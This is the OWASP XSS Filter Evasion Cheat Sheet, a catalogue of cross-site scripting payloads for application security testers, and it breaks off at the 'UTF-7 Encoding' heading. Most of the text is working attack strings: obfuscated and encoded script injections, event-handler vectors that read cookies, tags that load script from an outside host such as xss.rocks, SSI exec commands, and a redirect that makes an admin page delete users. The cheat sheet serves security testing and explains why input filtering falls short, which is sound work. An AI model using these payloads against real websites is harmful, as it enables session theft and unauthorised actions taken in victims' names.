XSS Filter Evasion Cheat Sheet

Introduction

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: `http://ha.ckers.org/xss.html`. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the Cross Site Scripting Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank RSnake for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born.

Tests

This cheat sheet lists a series of XSS attacks that can be used to bypass certain XSS defensive filters. Please note that input filtering is an incomplete defense for XSS which these tests can be used to illustrate.

Basic XSS Test Without Filter Evasion

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

```
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
```

XSS Locator (Polygot)

The following is a "polygot test XSS payload." This test will execute in multiple contexts including html, script string, js and URL. Thank you to Gareth Heyes for this contribution.

```
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```

Image XSS Using the JavaScript Directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

```
<IMG SRC="javascript:alert('XSS');">
```

No Quotes and no Semicolon

```
<IMG SRC=javascript:alert('XSS')>
```

Case Insensitive XSS Attack Vector

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

HTML Entities

The semicolons are required for this to work:

```
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
```

Grave Accent Obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

Malformed A Tags

Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross \~ Verified on Chrome

```
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
```

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

```
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
```

Malformed IMG Tags

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tags:

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
```

fromCharCode

If no quotes of any kind are allowed you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

Default SRC Tag to Get Past Filters that Check SRC Domain

This will bypass most SRC domain filters. Inserting JavaScript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like `onblur`, `onclick` giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

```
<IMG SRC=# onmouseover="alert('xxs')">
```

Default SRC Tag by Leaving it Empty

```
<IMG SRC= onmouseover="alert('xxs')">
```

Default SRC Tag by Leaving it out Entirely

```
<IMG onmouseover="alert('xxs')">
```

On Error Alert

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

IMG onerror and JavaScript Alert Encode

```
<img src=x
onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#00
00058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#000003
9&#0000041">
```

Decimal HTML Character References

All of the XSS examples that use a javascript: directive inside of an `<IMG` tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#
40;&#39;&#88;&#83;&#83;&#39;&#41;>
```

Decimal HTML Character References Without Trailing Semicolons

This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =\~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a HTML encoded string (I've seen this in the wild):

```
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0
000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#00000
39&#0000041>
```

Hexadecimal HTML Character References Without Trailing Semicolons

This is also a viable XSS attack against the above string $tmp_string=\~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x5
3&#x53&#x27&#x29>
```

Embedded Tab

Used to break up the cross site scripting attack:

```
<IMG SRC="jav ascript:alert('XSS');">
```

Embedded Encoded Tab

Use this one to break up XSS :

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

Embedded Newline to Break-up XSS

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

Embedded Carriage Return to Break-up XSS

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Null breaks up JavaScript Directive

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use `%00` in the URL string or if you want to write your own injection tool you can either use vim (`^V^@` will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char `%00` is much more useful and helped me bypass certain real world filters with a variation on this example:

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

Spaces and Meta Chars Before the JavaScript in Images for XSS

This is useful if the pattern match doesn't take into account spaces in the word `javascript:` -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the `javascript:` keyword. The actual reality is you can have any char from 1-32 in decimal:

```
<IMG SRC=" &#14; javascript:alert('XSS');">
```

Non-alpha-non-digit XSS

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example `\<SCRIPT\\s` != `\<SCRIPT/XSS\\s`:

```
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

```
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Extraneous Open Brackets

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:

```
<<SCRIPT>alert("XSS");//\<</SCRIPT>
```

No Closing Script Tags

In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the `\></SCRIPT>` portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

```
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
```

Protocol Resolution in Script Tags

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a `</SCRIPT>` tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

```
<SCRIPT SRC=//xss.rocks/.j>
```

Half Open HTML/JavaScript XSS Vector

Unlike Firefox the IE rendering engine doesn't add extra data to you page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: `/((\%3D)|(=))\[^\n\]\*((\%3C)|\<)\[^\n\]+((\%3E)|\>)/` because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended `<IFRAME` tag instead of an `<IMG` tag:

```
<IMG SRC=" ('XSS')"
```

Double Open Angle Brackets

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

```
<iframe src=http://xss.rocks/scriptlet.html <
```

Escaping JavaScript Escapes

When the application is written to output some user information inside of a JavaScript like the following: `<SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>` and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read `<SCRIPT>var a="\\\";alert('XSS');//";</SCRIPT>` which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

```
\";alert('XSS');//
```

An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

```
</script><script>alert('XSS');</script>
```

End Title Tag

This is a simple XSS vector that closes `<TITLE>` tags, which can encapsulate the malicious cross site scripting attack:

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

INPUT Image

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

BODY Image

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

IMG Dynsrc

```
<IMG DYNSRC="javascript:alert('XSS')">
```

IMG Lowsrc

```
<IMG LOWSRC="javascript:alert('XSS')">
```

List-style-image

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

```
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
```

VBscript in an Image

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

Livescript (older versions of Netscape only)

```
<IMG SRC="livescript:[code]">
```

SVG Object Tag

```
<svg/onload=alert('XSS')>
```

ECMAScript 6

```
Set.constructor`alert\x28document.domain\x29
```

BODY Tag

Method doesn't require using any variants of `javascript:` or `<SCRIPT...` to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (`onload=` != `onload =`):

```
<BODY ONLOAD=alert('XSS')>
```

Event Handlers

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

The Dottoro Web Reference also has a nice list of events in JavaScript.

1. `FSCommand()` (attacker can use this when executed from within an embedded Flash object)
2. `onAbort()` (when user aborts the loading of an image)
3. `onActivate()` (when object is set as the active element)
4. `onAfterPrint()` (activates after user prints or previews print job)
5. `onAfterUpdate()` (activates on data object after updating data in the source object)
6. `onBeforeActivate()` (fires before the object is set as the active element)
7. `onBeforeCopy()` (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the `execCommand("Copy")` function)
8. `onBeforeCut()` (attacker executes the attack string right before a selection is cut)
9. `onBeforeDeactivate()` (fires right after the activeElement is changed from the current object)
10. `onBeforeEditFocus()` (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
11. `onBeforePaste()` (user needs to be tricked into pasting or be forced into it using the `execCommand("Paste")` function)
12. `onBeforePrint()` (user would need to be tricked into printing or attacker could use the `print()` or `execCommand("Print")` function).
13. `onBeforeUnload()` (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
14. `onBeforeUpdate()` (activates on data object before updating data in the source object)
15. `onBegin()` (the onbegin event fires immediately when the element's timeline begins)
16. `onBlur()` (in the case where another popup is loaded and window looses focus)
17. `onBounce()` (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
18. `onCellChange()` (fires when data changes in the data provider)
19. `onChange()` (select, text, or TEXTAREA field loses focus and its value has been modified)
20. `onClick()` (someone clicks on a form)
21. `onContextMenu()` (user would need to right click on attack area)
22. `onControlSelect()` (fires when the user is about to make a control selection of the object)
23. `onCopy()` (user needs to copy something or it can be exploited using the `execCommand("Copy")` command)
24. `onCut()` (user needs to copy something or it can be exploited using the `execCommand("Cut")` command)
25. `onDataAvailable()` (user would need to change data in an element, or attacker could perform the same function)
26. `onDataSetChanged()` (fires when the data set exposed by a data source object changes)
27. `onDataSetComplete()` (fires to indicate that all data is available from the data source object)

28. `onDblClick()` (user double-clicks a form element or a link)
29. `onDeactivate()` (fires when the activeElement is changed from the current object to another object in the parent document)
30. `onDrag()` (requires that the user drags an object)
31. `onDragEnd()` (requires that the user drags an object)
32. `onDragLeave()` (requires that the user drags an object off a valid location)
33. `onDragEnter()` (requires that the user drags an object into a valid location)
34. `onDragOver()` (requires that the user drags an object into a valid location)
35. `onDragDrop()` (user drops an object (e.g. file) onto the browser window)
36. `onDragStart()` (occurs when user starts drag operation)
37. `onDrop()` (user drops an object (e.g. file) onto the browser window)
38. `onEnd()` (the onEnd event fires when the timeline ends.
39. `onError()` (loading of a document or image causes an error)
40. `onErrorUpdate()` (fires on a databound object when an error occurs while updating the associated data in the data source object)
41. `onFilterChange()` (fires when a visual filter completes state change)
42. `onFinish()` (attacker can create the exploit when marquee is finished looping)
43. `onFocus()` (attacker executes the attack string when the window gets focus)
44. `onFocusIn()` (attacker executes the attack string when window gets focus)
45. `onFocusOut()` (attacker executes the attack string when window looses focus)
46. `onHashChange()` (fires when the fragment identifier part of the document's current address changed)
47. `onHelp()` (attacker executes the attack string when users hits F1 while the window is in focus)
48. `onInput()` (the text content of an element is changed through the user interface)
49. `onKeyDown()` (user depresses a key)
50. `onKeyPress()` (user presses or holds down a key)
51. `onKeyUp()` (user releases a key)
52. `onLayoutComplete()` (user would have to print or print preview)
53. `onLoad()` (attacker executes the attack string after the window loads)
54. `onLoseCapture()` (can be exploited by the `releaseCapture()` method)
55. `onMediaComplete()` (When a streaming media file is used, this event could fire before the file starts playing)
56. `onMediaError()` (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
57. `onMessage()` (fire when the document received a message)
58. `onMouseDown()` (the attacker would need to get the user to click on an image)
59. `onMouseEnter()` (cursor moves over an object or area)
60. `onMouseLeave()` (the attacker would need to get the user to mouse over an image or table and then off again)
61. `onMouseMove()` (the attacker would need to get the user to mouse over an image or table)
62. `onMouseOut()` (the attacker would need to get the user to mouse over an image or table and then off again)
63. `onMouseOver()` (cursor moves over an object or area)
64. `onMouseUp()` (the attacker would need to get the user to click on an image)
65. `onMouseWheel()` (the attacker would need to get the user to use their mouse wheel)

66. `onMove()` (user or attacker would move the page)
67. `onMoveEnd()` (user or attacker would move the page)
68. `onMoveStart()` (user or attacker would move the page)
69. `onOffline()` (occurs if the browser is working in online mode and it starts to work offline)
70. `onOnline()` (occurs if the browser is working in offline mode and it starts to work online)
71. `onOutOfSync()` (interrupt the element's ability to play its media as defined by the timeline)
72. `onPaste()` (user would need to paste or attacker could use the `execCommand("Paste")` function)
73. `onPause()` (the onpause event fires on every element that is active when the timeline pauses, including the body element)
74. `onPopState()` (fires when user navigated the session history)
75. `onProgress()` (attacker would use this as a flash movie was loading)
76. `onPropertyChange()` (user or attacker would need to change an element property)
77. `onReadyStateChange()` (user or attacker would need to change an element property)
78. `onRedo()` (user went forward in undo transaction history)
79. `onRepeat()` (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. `onReset()` (user or attacker resets a form)
81. `onResize()` (user would resize the window; attacker could auto initialize with something like: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
82. `onResizeEnd()` (user would resize the window; attacker could auto initialize with something like: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
83. `onResizeStart()` (user would resize the window; attacker could auto initialize with something like: `<SCRIPT>self.resizeTo(500,400);</SCRIPT>`)
84. `onResume()` (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
85. `onReverse()` (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
86. `onRowsEnter()` (user or attacker would need to change a row in a data source)
87. `onRowExit()` (user or attacker would need to change a row in a data source)
88. `onRowDelete()` (user or attacker would need to delete a row in a data source)
89. `onRowInserted()` (user or attacker would need to insert a row in a data source)
90. `onScroll()` (user would need to scroll, or attacker could use the `scrollBy()` function)
91. `onSeek()` (the onreverse event fires when the timeline is set to play in any direction other than forward)
92. `onSelect()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
93. `onSelectionChange()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
94. `onSelectStart()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand("SelectAll");`)
95. `onStart()` (fires at the beginning of each marquee loop)
96. `onStop()` (user would need to press the stop button or leave the webpage)
97. `onStorage()` (storage area changed)
98. `onSyncRestored()` (user interrupts the element's ability to play its media as defined by the timeline to fire)

99. `onSubmit()` (requires attacker or user submits a form)
100. `onTimeError()` (user or attacker sets a time property, such as dur, to an invalid value)
101. `onTrackChange()` (user or attacker changes track in a playList)
102. `onUndo()` (user went backward in undo transaction history)
103. `onUnload()` (as the user clicks any link or presses the back button or attacker forces a click)
104. `onURLFlip()` (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
105. `seekSegmentTime()` (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

BGSOUND

```
<BGSOUND SRC="javascript:alert('XSS');">
```

& JavaScript includes

```
<BR SIZE="&{alert('XSS')}">
```

STYLE sheet

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

Remote style sheet

Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

```
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
```

Remote style sheet part 2

This works the same as above, but uses a `<STYLE>` tag instead of a `<LINK>` tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end `</STYLE>` tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

```
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
```

Remote style sheet part 3

This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying `Link: <http://xss.rocks/xss.css>; REL=stylesheet`) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

```
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
```

Remote style sheet part 4

This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites:

```
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
```

STYLE Tags with Broken-up JavaScript for XSS

This XSS at times sends IE into an infinite loop of alerts:

```
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
```

STYLE Attribute using a Comment to Break-up Expression

Created by Roman Ivanov

```
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
```

IMG STYLE with Expression

This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:

```
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
```

STYLE Tag (Older versions of Netscape only)

```
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
```

STYLE Tag using Background-image

```
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
```

STYLE Tag using Background

```
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
```

Anonymous HTML with STYLE Attribute

IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:

```
<XSS STYLE="xss:expression(alert('XSS'))">
```

Local htc File

This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

```
<XSS STYLE="behavior: url(xss.htc);">
```

US-ASCII Encoding

US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

```
¼script¾alert(¢XSS¢)¼/script¾
```

META

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

```
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
```

META using Data

Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

```
<META HTTP-
EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
```

META with Additional URL Parameter

If the target website attempts to see if the URL contains `<http://>;` at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

```
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

IFRAME

If iframes are allowed there are a lot of other XSS problems as well:

```
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

IFRAME Event Based

IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross)

```
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
```

FRAME

Frames have the same sorts of XSS problems as iframes

```
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
```

TABLE

```
<TABLE BACKGROUND="javascript:alert('XSS')">
```

TD

Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

```
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
```

DIV

DIV Background-image

```
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
```

DIV Background-image with Unicoded XSS Exploit

This has been modified slightly to obfuscate the URL parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

```
<DIV STYLE="background-
image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\
0074\0028.1027\0058.1053\0053\0027\0029'\0029">
```

DIV Background-image Plus Extra Characters

Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

```
<DIV STYLE="background-image: url( javascript:alert('XSS'))">
```

DIV Expression

A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

```
<DIV STYLE="width: expression(alert('XSS'));">
```

Downlevel-Hidden Block

Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

```
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
```

BASE Tag

Works in IE and Netscape 8.1 in safe mode. You need the `//` to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like `images/image.jpg` rather than full paths. If the path includes a leading forward slash like `/images/image.jpg` you can remove one slash from this vector (as long as there are two to begin the comment this will work):

```
<BASE HREF="javascript:alert('XSS');//">
```

OBJECT Tag

If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

```
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
```

EMBED a Flash Movie That Contains XSS

Click here for a demo: ~~http://ha.ckers.org/xss.swf~~

```
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
```

If you add the attributes `allowScriptAccess="never"` and `allownetworking="internal"` it can mitigate this risk (thank you to Jonathan Vanasco for the info).

EMBED SVG Which Contains XSS Vector

This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

```
<EMBED SRC=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWx
ucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2
ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleH
QvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="al
ways"></EMBED>
```

Using ActionScript Inside Flash for Obfuscation

```
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
```

XML Data Island with CDATA Obfuscation

This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

```
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
```

Locally hosted XML with embedded JavaScript that is generated using an XML data island

This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

```
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
```

HTML+TIME in XML

This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

```
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
```

Assuming you can only fit in a few characters and it filters against `.js`

You can rename your JavaScript file to an image as an XSS vector:

`<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>`

SSI (Server Side Includes)

This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

`<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->`

PHP

Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

```
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

IMG Embedded Commands

This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

`<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">`

IMG Embedded Commands part II

This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal `<IMG SRC="httx://badguy.com/a.jpg">` could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

`Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser`

Cookie Manipulation

Admittedly this is pretty obscure but I have seen a few examples where `<META` is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

```
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
```

UTF-7 Encoding

